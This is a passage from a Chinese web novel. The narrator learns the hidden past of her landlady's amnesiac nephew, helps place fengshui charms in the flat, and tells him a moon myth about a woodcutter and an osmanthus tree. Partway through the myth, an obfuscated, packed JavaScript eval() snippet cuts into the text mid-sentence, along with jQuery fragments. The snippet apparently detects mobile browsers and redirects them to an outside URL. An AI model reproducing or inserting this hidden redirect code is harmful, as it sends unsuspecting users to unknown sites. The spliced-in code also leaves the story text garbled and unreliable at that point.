或许正因为他称自己是“赵路”,方姨才带他去了医院。 可医院竟然没有确诊…… 难道那时候,他暂时恢复过记忆? 的确…除了“失忆”,在其他方面,他都表现得异常稳定。 而方姨,她对赵路无视和苛待,还有那若有若无的敌意,也都有了解释—— 赵路——程静,是她背上的债啊。 最初的善举成了原罪,她现在都还在偿还着高昂的利息。 原来,她并不是个一肚子诡计的恶毒老太,而是生活重压下的无奈妇人。 疯子,则是她家中行走的罪证,是她无法摆脱的,活生生的耻辱…… 方姨心里,是恨着他的吧? 方程式,方姨和程静的家务事…… “疯子,这就是你的方程吗?”我轻轻吐出答案。 ——原来,他的方程,还真是多元的。 呆子,混混,破鞋,傻子,废物,疯子……所有房客,都只是他的人格碎片。 “程静,就是你的曾经。”我望着眼前完成的拼图—— 原来,迷宫的入口就是出口。他们,都是同一根线。 警报终于解除。方姨家的秘密,从诡异的恐怖故事,坍缩成了日常的家庭悲剧。 我仿佛又回到初遇见疯子的那天——我叫了他一声“叔叔”,方姨脸上露出来惊疑的表情。他明明才三十出头,却已变成了我该叫叔叔的模样。 我又看见他漠然地走进书房,在椅子上冷笑,在飘窗上空茫。看见提起他时方姨骤变的脸色,和那两床厚被、他的薄被,看见天台上的夕阳,阿姨们脸上的嘲讽……它们淤积在我胸口,越来越冷—— 疯子说,他疯了,是因为看见了月亮。 他看见了月亮,月亮也就看见了他。 那个布满了镜子,他深深向往又不断逃离的月亮—— 究竟是什么? 看见他的,又是什么? 他……可曾看见过自己的背面? 我合上书,仰靠在椅背上,望着天花板。 许久后,我起身去洗漱,然后回来躺下了。 8. Chap.08 向前?向后? Chap.8 向前?向后?——最好的结果 第二天正常上班。其实也说不上多正常——公司手机呼叫受限了。 下午开始用小号打电话时才发现。我上网一查还以为是错误操作引起的,但将搜到的“解决方法”都试完了,问题也还是没解决。 我看着网页最下面“异常使用行为”这条,紧皱起眉头:难道是这个? 重点查看这条的触发条件后,我找到几个最有可能的情况:“移动卡一天超过30个电话”“1小时内连打20通”“被其他用户投诉或标记为异常”。 一打开通话记录,我便抽了口气——前天下午5点50开始,二十分钟内,这部手机竟拨出去了26个电话,除几个未接通,有19个是接通后秒挂的。 ——那个时间段…… 我站起身,望向右前方的邹凯——正是他借了这部手机去换打。 从这里只看得见他的头顶——正戴着耳机,面朝电脑,微微晃动。他在正常操作业务。 撇撇嘴,拿着手机,去找欢姐。我没说邹凯,只说我之前不知道会封号,换打时把手机借给过好些人。 欢姐也重重拧起眉心,一边教训我打电话一定得看着点数,一边愁上了:“你这张卡还是之前的同事留下的。他离职都三个多月了,肯定不会再回来帮忙解封。这卡再也用不上,就算是废了。” 她问明白我仍没有身份证,抱怨了句“你还不如去挂失呢”,就从自己手机里取下张卡递过来:“去,接着打吧。” 我连忙谢过,问欢姐那她怎么办。 “我自己还有个号。这张也是另一个已经离职的同事留下的。”她朝我手里的卡一扬下巴,嘟了嘟嘴,“组里只剩这最后一张了。你快点给我去把身份证补办出来,自己办了卡就赶紧过来还!” 我连口称是,说明天一放假就去补办。再站起身往回走的时候,我又扫了眼邹凯。他正抬着头,目光与我相撞,随即眉毛一挑,抱起胳膊向后靠上了椅背。我朝他笑笑,回了自己工位。 打开卡槽,换上卡,手机又恢复了功能。我却没有马上开始打电话。 我看着桌上那张“废卡”,单薄的塑料,边缘的金属芯片在灯光下泛着冷光。不知怎的,疯子那张苍白的脸突然浮现在这冷光里。 “呆子,混混,破鞋,废物……”我在心里念出声来。叹口气,微笑挂上了嘴角—— 他们,不也都是用废了的“卡”么。不能用了,就换一张。手机从不追问上一张卡的故事,它只识别当前有效的信号…… 就这样莫名其妙的,我突然觉出一丝难过。我将废卡又插回公司手机剩下那个卡槽,摸索了半天,总算分清了卡1和卡2。 问题解决了,接下来便是每天重复的流程。只是有了这段波折,下午的工作便往后拖了许久。等我终于下班,都已经7点多了。 我关上电脑,收拾好东西往回走。 明天就是10月1日国庆节了,公司放假。但我却没打算真去补办身份证——也就回趟家的事,有什么好补办的。况且,我又没真打算去办手机卡——等我拿了身份证,还有必要继续做这事? 只是接下来这两个假期还没法回去——我父母一定在家。而且,我也需要再等等——等到20号拿到工资再说。 第二天,我是被10点的闹钟给吵了起来——11点还得帮方姨布风水局。 平安健康局…… 从前天天台上的对话来看,方姨家的平安问题和健康问题,分明不在风水。 这个局,能管些什么用呢…… 我揉揉眼,爬起床穿上衣服。又抓了两把头发,就走出了房门。 方姨起来应该有大半天了。 她看我出来,忙催着我洗漱完、吃过早饭,又让我先去洗了个澡——说这是必要的恭敬。 等我戴上眼镜再走出房间,茶几上已经摆了对暗金色的狮子。 那狮子每只大约一块红砖大小,披着鱼鳞状铠甲,铠甲上还刻了火焰。其中,左边那只脚踩绣球,右边的则踩着只小狮子。 “这是铜麒麟,可以护卫家宅平安的。”方姨从阳台进来,见我低头打量,解释道。 ——原来这就是麒麟。 我手撑膝盖,弯下腰仔细一看,才注意到它们的脚是马蹄形状。 “来,你过来。”方姨站在茶几那头对我招了招手,将我领到阳台上。 阳台门旁边还放了盆小树—— 约三十公分高,长得十分茂盛,像把撑开的绿伞,在白瓷花盆里看着十分喜人。盆土上还放了七颗圆润剔透的粉红色石球,外面六颗有点像跳棋棋子,围成个六边形,中心的那颗要再稍大一些。 “这是幸福树,能带来健康快乐。”方姨微笑着解释道,递了根粉色绸带过来,让我帮她系到树上。 “我来吗?不是由家里主人系比较好吗?”我接过绸带,低头仔细打量,满脸都是疑惑。 看上去,这只是条非常普通的绸带,就是蛋糕盒上的那种。 “没关系的。”方姨拍了拍我胳膊,眼睛弯得眯了起来, “幸福树得摆在这屋子的东南方,也就是你那间卧室。那里是杜门,属木。摆它是为了将生气引进来,带活这房子的气场,生生不息。今天又是你的吉日,由你来系效果才最好。” ——还有这说法?难怪非得喊我帮忙。 我抬头望了眼餐厅——那边一点动静都没有。疯子大概还没起来。 见推辞不过,我只好边默念着“一切封建迷信都是纸老虎”,一边在方姨的指导下,找了个间隙稍大些的枝杈将绸带系上去,还打了个蝴蝶结。 系好绸带,她便让我将树搬去了卧室,摆在了飘窗的西头。 放好树,我将手从瓷盆上移开,搓了搓,打掉上面的浮土,也拍去凉意。 接下来便是安放铜麒麟了。 这麒麟不愧是铜的,看着没多大,拿起来才知道还真有点分量。 我一手一个托起麒麟,跟着方姨走到了书房门口。正好奇间,她已经压下把手,一把将门推开走了进去! ——竟然没敲门…… 我压下心中诧异,慢吞吞抬脚跟了上去。 书房里窗帘还拉着,也没开灯,光线昏暗。但疯子已经起来了。 他穿着家居服,就站在书柜前。我进去时,正看见他抬起手来抱住胳膊,将背往后一靠,斜倚到柜子上。 他没吭声,只是站在那里斜脸冷冷打量方姨和我,神色晦暗。 “哗——”方姨拉开窗帘。 阳光倾泻进来,顿时将整个房间和他照了个透亮。 “早啊。”我冲他一笑,笑里带着尴尬。 他挑起右边嘴角,回了个嘲讽的冷笑。 “就放这上面吧。”方姨走到书桌前,转过头来对我说。她指着桌后墙上的搁板,脸色有些发青。 看来刚才我进来之前,他们就已经有过一轮无言的交锋。 那搁板上却已经摆了东西——中间摆着个电子钟,左边放了地球仪和眼镜盒,右边则摊着几本书。 我有些犹豫地看向疯子:“可以吗?” 他仍不吭声,只面无表情地耸耸肩。 方姨却不耐烦起来。她伸手去将几本书码起来移到桌上,又将电子钟向右一推,就让开身子,喊我快点将铜麒麟摆上去。 她甚至没往书柜那边看上一眼。 ——看起来,他们都拿定了主意不去理睬对方。 或许是因为疯子前天的擅自外出,他俩的关系变得更僵了。 疯子没有任何表示。我只好按照方姨吩咐,将麒麟摆上搁板中间那个新腾出来的位置。 放好后,我转身又去看了疯子——他目光停在麒麟上,没有嫌恶,没有愤怒,连好奇都没有。 方姨却马上站回书桌前,侧着身,在麒麟和窗户间来回打量了好一阵,将它们先向右移了五公分,又再往回推了半厘米,让它们正好对准了窗户正中间的位置。 “书房这里是开门,麒麟摆在这里是为了稳固家里的气场,引进来祥瑞之气。” 望着麒麟,她脸上挂起了淡笑。接着,又从上衣口袋里捏出个小巧的黄色薄片来,那是个叠成三角形的纸包。 “这是我特地去清和宫请的神符。都说那里最灵,也是保家宅平安的。” 她将神符在右边那只踩绣球的麒麟下压好,才转头来看着我道,“这两只麒麟连带下面这张符,还有你房里那盆幸福树,你都不要去碰它。这些东西都开过光,要清清静静的才行。” 我连忙答应下来,视线移到了疯子身上。 ——她这些解释,到底是说给我听,还是给他听的。 疯子却仍是那副老神在在,漠不关心的样子,只继续抱着胳膊冷眼看着我俩。 叮嘱完这些,方姨便转身出去。 我也没好意思多留,只冲他抱歉一笑,歪了歪脑袋,就也离开了。出去时,我帮他带上了房门。 中饭时,餐桌上照旧是三副碗筷。 疯子也照旧坐在窗边他的那把椅子上。 一切还同往常一样。 一切还同往常一样。我决定当作不知道他们家的秘密。 警报既然解除,就还能安心在这住下去。 程静…是一个不该再出现的名字。 至于赵路,只要像方姨一样,“看不见”他,我就能在这家里相安无事。 但是…… 我转头看向他。他正低头吃饭,整张脸都埋在乱发下面。 ——我该怎样做呢,向前还是向后? 中饭后,方姨在厨房收拾,我则拿着《The Little Prince》又去了书房。 疯子看我还书,有些惊讶:“这么快?” 我头一歪,眼神向上方一飘,自嘲地笑了:“其实昨天就可以还的。我查了两个单词就读不下去了。” ——反正上面除了“程静”两个字,再没有别的线索。 他将头枕上转椅的椅背,撇了撇嘴。 我将书插回原处,转过身,认真看着他:“上午真是不好意思,打扰到你了吧?” 他却只皱眉将目光往地上淡淡一扫:“没什么。” 我嘴角一提,将视线转向搁板上那对麒麟,喃喃念了句“铜麒麟”,才笑着对他说:“方姨在我房里也摆了棵树,说这是平安健康局,有助于家里人的健康和运气。”见他也将椅子转了过去,便接着道,“她还是前天吃晚饭时让我搭把手的。那时你还没回来。” 他轻哼一声就收回了目光,低头对着桌面。阳光只打亮了他的后背,暗影中他嘴唇微微张开,连面颊上的毛孔都透着空洞和木然。 我眉心微微一紧,又找了个话题:“对了,你的方程怎么样了,解出来了吗?” 他缓缓抬起头,望着墙壁,好一会儿才说:“没有。” 说完,又将头低了下去,望着自己摆在桌上的手。 ——哪里不对劲…… “疯子,我遇到问题了。”我打量着他的神色,只好抛出了杀手锏。 他没接话,也没抬头。 “其实,我是和家里吵架才跑出来的。”我在椅子上坐下,垂头酝酿了十来秒,才闷闷地说。 接着,我讲了些自己家里、以及在公司的情况,又说我正在为中秋节是否回家而苦恼。 他听我说完,好一会儿才说:“前不久,我也出去了一次。” 听他出声,我抬起头皱眉看向了他。 他却没看我。他仍望着自己的手,语调平板地说:“我也是和伯母吵了一架,带了点东西就走了。和你一样。 “不一样的是,我找不到工作,也没有地方住,就只好回来了。 “如果你真的在纠结要不要回家,那你可以问问自己——到底是他们在需要你,还是你在需要他们。” 说完这些,他才转了脸来看我。他脸上依旧没什么表情,但眼神总算聚了起来。 ——原来不是应不应该,而是需不需要么…… 我默了好一会儿,才问:“可以问问,你们为什么吵架吗?” 他这次却答地很快:“我在这家里吃干饭,又老买些没用的书,伯母她不喜欢我这样。她总想劝我再出去试试看。”他低下头,发出声轻笑,“但我做不了。” 黯淡中,他眼里的失落和无奈清晰可见,却太清浅了些。他身上完全闻不出旧案发酵的那股陈年馊味。 ——他确实什么都不记得了。 我叹了口气,抱怨一声原来家长都这样,继续低头沉默。 过了好一阵,整理好思路,我才又开口:“其实这次我跑出来,还有别的原因。” “前段时间,我发现我父母有些不太对劲,他们好像有事情瞒着我,还是和我有关的事。但每次我去问,他们都很不耐烦,还莫名其妙地发脾气。”我顿了顿,紧皱起眉头,“肯定不是什么好事……我还该去弄清楚吗?” 我定定望向疯子——他的目光正落在我脸上。 他静静听我说完,却没回答。 “要是你,会怎么做?”我问。 “我应该不会在乎你说的这种情况。”他的表情和语气一样平淡。 ——也是。在他那里,旁人的态度简直都像是喂了黑洞。 “但是,即使知道月亮上肯定可怕,我还是一定会想办法上去。”在我以为之前那就是答案时,他给出了后面的回答。 “你还是要到月亮上去?”我看着他,默了半秒,“你是方姨最后的亲人了吧?你也离开的话,她一定会孤单的。” 他轻笑一声,眼神却柔和下来,映出些落寞:“但是,她并不需要我。对她来说,我只是负担。其实我早就该去月亮上的。”随即抬眼看了过来,微笑道: “伯母很喜欢你。很久没看到她这样开心了。” 我喉头有些发苦,转脸望向墙上的画——这应该就是他初中时在市里拿奖的那幅。 他不知道方姨态度的真正原因,对她恐怕多只心怀感激。 但这样就不错吧。也许对他来说,什么都不记得才是最好的结果。 真相,或许并不怎么重要。 再回过头时,疯子已经又在低头看他的手指。他一动不动,成了道剪影。 他今天真的不太对劲。 夜里着凉了?但这两天还没怎么降温啊。 “你哪里不舒服吗?”我犹豫了好一会儿,终于问了出来。 两秒后他才慢慢抬起头,转过脸来。他的脸被暗影蒙上层青灰,眼里一片迷茫。 “我也不知道。”又过了好一会儿,他开口道。眼珠摇晃两下,总算对上了焦: “有什么在看我。” 说完,他转回去,抬起了右手,盯着食指:“金线扭得厉害……是月亮在召唤我。那天,它看见我了。” ——那天?前天?他真的晒着月亮了? 月亮……不只是某种隐喻么? 可他现在的样子…… 难道,每次看见月亮都会变得更疯,是真的? 我仿佛又回到了天台上的那个下午,望着天边两个“太阳”。胸口像塞进只气球,正被一点点攥紧。 我皱眉打量他许久,才打起精神,换上了笑:“过两天就是中秋节,我也给你讲个故事吧。是我们那边中秋的神话传说,算是交换你的那两个梦。” 疯子将椅子转了过来。他眼皮依旧耷拉着,但唇边挂着淡笑,像在欢迎我的故事。 于是,我清清嗓子,向椅背上一靠:“从前,有一个樵夫,他叫赵路。” 疯子眼皮一跳,双眼瞪圆了对着我。 我冲他挑挑嘴角,将目光移到画上,继续道:“赵路住在山上,家里还有个老母亲。他和母亲相依为命。” “有一天,他母亲得了重病,话都说不出了。他从城里请了许多大夫,但他们都只劝他准备后事。他又着急又难过,天天守着母亲,端茶递水,忙前忙后,眼睛都不敢合上。 “但是,人是不可能不睡觉的。守了整整三天三夜后,他不小心睡着了。 “他睡着了,还做了个梦。他梦见自己堂屋的地板上突然冒出个人来。原来,那人就是这座山的山神,被他孝心感动,才现出身来指点迷津。 “‘只有月亮上的灵草才能救回你母亲。’山神告诉赵路。 “‘但月亮在天上啊。’赵路犯了难。 “‘我会给你一根金线,跟着它,你就能到月亮上。’山神说。 “说完,他让赵路伸出右手,抬手对那上面一指——赵路就醒了过来。” 我转头扫了眼赵路。他正抱着胳膊,垂眸望着地板,眼里唇边染着淡笑。 顿了顿,我接着说: “赵路醒了过来。他激动地翻遍了整个屋子,却再没找到那位山神。他又出门喊遍了整座大山,也没有谁再理睬他。那只是个异想天开的梦,他想。 “但是,当他踩着月光,低着头往回走的时候,他突然看见了自己的右手——右手的食指上长出了一条金线。 “这是山神给他的金线!他试着向天空伸出了右手。那金线便扭动起来,越长越长,要连到那月亮上去。 “原来梦境是真的,山神是真的! “赵路狂奔下山。他去请来了远房亲戚,请她暂时代他照顾母亲。他自己则带上斧头,独自去了山后的一片空地。在那里,他再次向月亮伸出了右手。 “于是,他被金线拉到了月亮上。” 我又扫了眼赵路。他已经抬起脸来,饶有兴味地望着我。 “月亮上却原来什么都没有。没有宫殿,没有楼阁,没有仙人,也没有兔子。有的只是尖利硌脚的石头,连绵起伏的银白色荒漠。 “赵路背着斧头,就在这荒漠上磕磕绊绊地向前走。” 听到这,他慢吞吞地接了句:“月亮上背斧头的,我还真知道一个。”顿了顿,嗤笑一声,“也对,自古吴赵不分家么。” 我却没理睬他的嘲讽,冲他一笑,接着往下说: “他向前翻过了十座山头,越过十座低谷,终于,在一个半坡上的巨石后面,找到了一株绿色的小草。 “那小草只有巴掌大小,翠绿翠绿,嫩得要滴出水来。 “这一定就是山神说的灵草!赵路胸口一阵狂跳。他一眨不眨盯着那株灵草,屏住呼吸一点点靠了过去。他停住了,缓缓弯下腰,伸出手,放在草茎上。 “那灵草,安安静静,纹丝不动。 “赵路将手放在草茎上,忽然感到脸上身上一阵刺痒。那是风吹干了细汗,扎进毛孔带起的痒。他舔舔嘴唇,慢慢收紧手指,向上一抬——灵草就被拔了出来。 “他死死盯着那株灵草,一眼都没敢错开。 “但那株灵草,就在他的眼皮子底下,在他手里,从水灵灵的翠绿,变成了灰扑扑的焦黄。最后,干脆碎成一堆褐黑色粉末,消失了。 “从他拔下灵草,到灵草消失,整个过程,不到一秒。 “他望着自己的右手,刚刚还捏着灵草的右手,整个人都楞住了。会不会,他上到月亮,摘得灵草,都还是一个异想天开的梦? “他正发着呆,空中却突然传来一声怒喝—— “‘哪里来的蟊贼?竟敢毁我灵草!’ “原来,那是天上的神仙。神仙见自己灵草被毁,气得卷起地上的巨石,就要往那赵路身上落去。 “赵路却一动没动。他只垂头望着自己空空的右手,眼泪一滴一滴砸在身下的碎石上。” 讲到这里,我瞟见疯子又翻了个大大的白眼,心中便升腾起一股子得意来,就更起劲了: “神仙心中奇怪,便将巨石悬在空中,质问赵路为何要偷他灵草。赵路这才声泪俱下,说自己母亲得了重病,必须得靠这灵草救命。 “那神仙掐指一算,知他不是作假,便将巨石落回地上。 “‘谅你也是情有可原,我便留你一命。’半空中神仙捏着胡子,缓缓说道。‘但你毁我灵草,罪不可恕。就罚你在这月亮上给我种树。什么时候种好,什么时候放你回去!’说完,他扔下一把匕首,就落在赵路脚边。 “赵路捡起匕首,将它挂在腰上。他按照神仙吩咐,用斧头在巨石边刨出个小坑,再将那匕首刺进胸口,取出来三滴心头血,滴了进去,最后又找来最细的砂石铺进坑里。 “神仙告诉赵路,月亮上没有水,他必须每天用自己的鲜血浇灌那树。月亮上也没有食物,但他已被施了仙法,只要呆在这里,就会不老不死。 “于是,赵路被留在月亮上,给神仙种树。” 说着,我又望了望疯子。他的眼睛已经垂下,嘴角的浅笑竟带上了柔柔的暖意。 “为了种树,他每天都用匕首划开胳膊,让鲜血流进坑里。他也不敢走开太远,怕赶不及回来,使树枯死。他埋藏起对母亲的担忧,对家乡的思念,用匕首在巨石上刻下了一个又一个正字。 “就这样,时间过去了一年。小坑中终于伸出一株幼芽来。 “幼芽是一夜之间,突然冒出来的。 “赵路每天就睡在巨石下面。于是,等他一觉醒来,睁开眼就看到了那株幼芽——它就像本来就在那里,寻寻常常地,在太阳下懒洋洋地伸展着叶子,顶上的那两片叶子。 “赵路一下子趴到了坑边,屏住呼吸,凑近了去看那幼芽。 “它才那么一丁点大,细弱得像棵豆芽菜。这豆芽菜生得碧绿剔透,就像用翡翠雕出来,一点都看不出是由心头血长成,被鲜血浇灌。 “赵路伸出手,小心翼翼地将食指指尖搭在那豆芽菜的叶片上,轻轻擦了擦,又按了按。原来,它只是看起来像翡翠,摸上去却软乎乎的。赵路怕它被风吹坏,又找来几块拳头大小的石头,将它围在里面。 “我的树发芽了!赵路心想。他的等待,不再是日复一日的空虚。月亮上的风景,也不再只是枯燥。 “他每天趴在坑边,小心将血浇进坑里,又四处去寻找来最细软的沙土,一点点培在幼芽的根上。 “他生怕自己压坏了幼芽,只好将手藏在身下,只用目光将那绿叶轻抚了一遍又一遍。” 疯子望着膝上微蜷的手指,眼神迷茫起来。 “日子就这样一天天过去。幼芽长成了一株嫩苗,嫩苗再长成一棵小树。现在,小树终于有他的半个胳膊高啦,树茎也从透亮的碧绿,变成了普通木头的灰褐色。但赵路却更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001298|193953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兴起来,他总算不用担心小树在他的触碰下夭折了。 “他找来些指甲大小的碎石,垒在小树的根上,周围的那圈石头也换成了网球大小。做完这些,他才将指尖放到树干上,缓缓抚摸,感受树皮粗糙的质感,再抬手仔细擦去树叶上的灰尘。 “这是我的树,赵路想,它已经长出来六片叶子啦!他心里的满足再盛不下,于是,他对那小树说起了话来。 “他说起自己的经历,说起病重的母亲,说起山下的朋友,说起遥远的家乡。他一天天,一遍遍地向小树重复着这些话。每一次,他都能想到些新的有趣的地方。他还给小树讲故事,讲他听来的故事,还有他编出来的故事。这些故事他也都讲了成百上千遍,每一遍,故事里又都会发生点新的事情。 “不说话的时候,他就轻轻摩挲着树干,和小树一起听风,听风吹来的故事。 “小树也会讲故事,在有风的时候。它摇晃枝叶,沙沙作响。但赵路还听不懂它的故事。 “日子一年年过去。小树渐渐高过了赵路,又高过了大石,长得比旁边的矮丘都还要更高了。之前的那个小坑早就被填满,赵路也再也够不着树枝上的叶片。 “他每天浇完树,都靠在树干上,慢慢讲那些重复了无数遍的故事。 “就这样不知道又过去了多久。几十年,几百年,又或许已经过去了一千年。巨石上早就再找不出还能刻字的地方,他的树也长成了苍天的巨木。 “那树已经长得那样大,它的树干成了通天的巨柱,比他家的柴房还要粗壮。它的伞盖成了半空中的穹顶,连最恢弘的庙堂都比不上。它大到,从赵路一天能走出的最远的距离,都能清楚看见。 “赵路不知道要怎样树才算种好。他心里仍满藏着忧伤,却早已不再焦急。也许,就这样永远留在月亮上,永远守着他的树,也很好。他想。” 我望向疯子,见他正垂眸浅笑,便弯了弯嘴角: “但突然有一天,那棵树,那棵苍天的大树,不见了。” 他猛地抬起头来看我,脸上的松弛凝成僵滞,眉头也轻拧了起来。 我冲他一咧嘴,眨了眨眼: “大树是在夜里消失的。他就睡在旁边,却没听见半点动静。等天亮了,他一睁开眼,看到的就已经是个巨大的深坑。 “赵路全身颤抖起来,整个世界都仿佛在离他而去。直到—— “他一转身,看见了旁边的那个人。 “那人正坐在地上,举着胳膊,在太阳下伸了一个大大的懒腰。” 疯子的眼睛微微眯了起来,里面闪着戒备和狐疑。 我指尖轻轻敲打着膝盖,继续说: “赵路的魂都要被那个突然出现的人惊飞了。但等他终于定下神,仔细一看,却发现那人长得和他一模一样,连身上的衣服都一样。” 疯子轻哼了一声,低头去看自己脚尖,周身的紧绷消散不少。 我弯了弯眼,接着往下说: “原来,那人就是那棵巨树所变。那树生在这月亮仙境,又得了日月精华,天地灵气,年深日久下竟然成了精。 “他是由赵路的精血所化,又得他日夜鲜血浇灌,幻化出的人形也就和赵路一模一样。” 疯子眼里已经逸出了笑来。 我也将目光移开,去看墙上那画: “那人告诉赵路,自己虽是他精血所化,却实为这月亮上的灵气聚合而成,所以,她是月亮仙子。 “月亮仙子一现形便有法力。她依照赵路讲过的故事,变出来各种东西,有吃的也有玩的,还有房子和风景。 “她也试着变过动物和人,但都只能变出个虚像,不到一个时辰就消失了。她只能变出来没有生命的东西。 “月亮仙子的出现让疯子高兴极了。终于有人陪着他,陪他说话,下棋,射箭。甚至,仙子还教会了他吹笛子和画画。 “他也总算不需要再守在原地。他们俩并肩而行,走遍了月亮上的每一处角落。赵路这才发现,原来这无垠的荒漠,也有着惊人的美丽。 “就这样,几十年,几百年,他们终于又走回了最开始的地方,那个赵路种树的地方。 “大石的旁边,巨坑依然还在。它深深地向下凹陷,比他们走过的所有低谷都深。 “赵路走到大石边,轻轻抚摸着它,抚摸上面的一个个正字。 “仙子看出他眼里的忧伤。她知道,那些忧伤是为了那些被他讲过了无数遍的故事。她可以变出来任何东西,却变不出他的家人和朋友,变不出他的母亲。 “于是,她告诉赵路,树种好了,他可以回家了。 “赵路却只是摇头苦笑。他眼里的忧伤浓得快要将那深坑填满。 “‘回不去了。我上来太久,那里已经什么都没有了。’赵路说。 “仙子却告诉他,人间一日,天上千年。赵路上来,人间才刚刚过去两天不到。这一天,正是人间的中秋。 “‘回去吧,他们都还在下面等你。’仙子一挥手,深坑上便浮现出人间的画面,那是赵路卧病在床的母亲,还有心急如焚的亲戚。这画面狠狠揪住了他的心。 “‘我是你心头血所化,我的血原本也归你所有。等我变回树形,你用斧子劈开我的树皮,取了树汁,带回去喂给你母亲,就能治好她的病。’仙子告诉赵路。说完,她走进深坑,变回了那棵巨树,赵路的那棵树。” 说到这里,我停了停。却没再看疯子,而是轻轻叹了口气,接着道: “仙子变回了一棵树。树干伸向天空,天空下是她巨大的伞盖。 “伞盖皎洁无暇,就像漂浮起一大片灿烂的白云。原来,是她开满了花,枝叶都被淹没在这繁盛的花海里。 “‘砍下来吧,回去救你母亲,和她团聚。’赵路听见仙子的声音,那是树叶在沙沙作响。 “他拖着脚,一步一步走到树边,伸出手,轻轻按在了粗糙的树皮上。他仿佛能够听到树皮下脉搏跳动的声音。 “‘砍下来吧,我不会有事。我是月亮仙子,凡人的斧头,只会蹭掉我一点点皮。’大树催促他。 “这下面流着我的血,他想,我只是取回一点我自己的血。他回想着画面上母亲的病容,抬起斧头,却怎样都无法劈砍下去。 “‘这是我的血。这是我的树。’他终于扔下斧头,扑到树上,抱着它哭了起来。 “他有多久没有拥抱这棵大树了。有多久没有抚摸这树皮了。泪水不断从他眼里流出来,蹭到这和他脸颊相贴的树皮上。 “这时候,他满心满眼都只有他的这棵大树了。他想,在回去之前,至少让他再好好抱抱它,只是和它呆在一起,只想着它。他要和大树做最后的告别。 “但他忘了,大树不止是一棵树。她已经成了精,有了觉知。于是,他落在树皮上的泪水和摩挲让大树发起痒来。 “大树摇摆起树枝,树叶哗哗作响,像她在咯咯直笑。她越笑越大声,越摇越厉害,枝上的花朵也随着这摇摆轻轻飘落下来。 “那是一朵朵洁白的小花,只比米粒大不了多少,却散发着浓郁甜美的幽香。 “她原来是一株桂树。 “缤纷的花雨和浓烈的芬芳让赵路清醒过来。他止住哭泣,抬头疑惑地望向树冠。那里,桂花还在不断向下洒落,那片洁白却一点不见减少。 “桂花越落越多,越落越多,从月亮的天空飘洒到深蓝的夜空,再从深蓝的夜空落向了人间。 “桂花源源不断地落下。它们变成月光,洒满人间。 “而这皎洁的月光,一落到地上,就又变回了桂花。 “它们还洒落到人们身上。一落到身上,所有病痛就都消失不见了。 “桂花落了一晚上,月光也落了一晚上。等天再亮的时候,这人间所有的伤痛都痊愈了,所有的悲伤都抚平了,每一个人心里都充满了幸福和安宁,每一个地方都开满了洁白芬芳的桂花。” 说到这里,我才又转过头去看了疯子。 他眼睛也弯了起来,里面不再看见低沉的黯影。 我望着他,慢慢说道: “人间的画面又传回了月亮,赵路心里的忧伤也终于被抚平了。” ——他的忧伤抚平了些吗? 不知道心里被触动了什么,我鬼使神差般接着说了下去: “母亲的病痊愈了,人间也是一片幸福祥和。他不需要再回去了。 “于是,赵路留了下来。 “大树在他怀中变回了仙子。他们日夜相守,在月亮上过起了没羞没臊的幸福生活。” 说完,我得意地看着疯子,等着他抬起头来,认认真真,从头到脚地将我看上二十遍,还得在脸上带着讶异和赞许。 疯子确实抬起头来了。 他脸上的五官和皮肤都完全舒张开,竟是个我从未见过的柔和表情。 “我很喜欢这个故事。”他看着我,微笑着评价。 ——就知道,嘿。 “但是,有个问题我想问一下。”我还没来得及谦虚,他就接着说,“你说,那月亮仙子和我一模一样?” ——他总不至于嫌弃仙子的长相? “是啊,她是你精血所化,由你浇灌,受你照顾,又听了你那一大堆车轱辘话,出生起也只见过你一个,所以长出来只能和你一模一样。”我信心十足。 “哦,那连性别都一样?”他继续追问。 ——?嗯? 我这才突然反应过来,确实哪里有点儿不太对劲,就没吱声只瞪眼瞅着他脸色。 “过起了没羞没臊的幸福生活?”他还不依不饶。 ——好吧,这就真的很晋江了。 “嘿嘿。”我干巴巴讪笑两声,挣扎道,“仙子么,当然是想变什么变什么,变个性又算得了什么。” “呵。”他的结论只有一个字。 唉,我这不是逗人不成丢把脸么?没事加最后那两句干嘛,一定是脑子被驴给踢了。 “故事讲得不错。这个你家乡的神话传说,编了多久?”疯子眼里全是揶揄。 “编什么。”我也做出一副懒洋洋的样子,“那些话不就在嘴边,我只是将它们说出来——它们,就在那里。” 听到这熟悉的说法,他哼了一声,看向我的目光却带上了熟悉特有的柔软。 “之前,我觉得,自己就是《小王子》里那个搁浅在沙漠里的飞行员。” 过了一会儿,他看着我,突然说。声音缓慢平淡。 “而你,就是那个突然出现的孩子。” ——孩子?我? 我一脸莫名。他眼神一闪,嘴角弯起:“一个还没被地球污染,没长出芯的孩子。” ——原来是这样的“孩子”。 我也微微一笑,想:你才是个“孩子”啊,过去一片空白,住在自己世界里的“孩子”。 “现在,我不觉得了。”揶揄却已经又回到了他脸上,“你明明是只狐狸。” ——呵。 我翻了翻眼白。还不如维持原判。 见疯子已经好转,我又和他随口聊了几句,就回了自己房间。 躺在床上,我想,这样就很好吧。 一切还会同往常一样。 9. Chap.09 荒诞与真实(上) Chap.9 荒诞与真实——正确的路? 一切还同往常一样。 只是,这次交谈后,我和疯子之间好像多出来某种默契。 他周身的漠然开始转为恬淡,偶尔和我视线对上,还会微微提一提嘴角。 我们算是朋友了吧。这样也挺不错。 我想,我又能安心在这住下去了。 直到两天后,晚饭时方姨忽然说想给我介绍对象。 ——啊?她会不会太热心了点? “啊…谢谢方姨!您也太为我费心了。”我连忙谢过,又迟疑道,“只是,我这才刚出来工作,自己都稳定不下来呢,哪顾得上找对象。而且,我这不还小么,也太早点了吧?”说着,我故意孩子气地眨眨眼。 方姨嗔笑地看着我:“早什么呀,要放在我们那时候,你这个年纪,孩子都不知道读到几年级了。” ——这也太夸张了吧。她总不是旧社会出来的,晚婚晚育还没流行起来? “俗话都说成家立业。要先成家,然后才能立业,谁不是这样?这两个又不冲突。”她停了筷子,语气和缓却带了严肃,“你年龄也不小了,总还是这样孩子气。我看啊,你是要等成了家才能稳定得下来呢。” 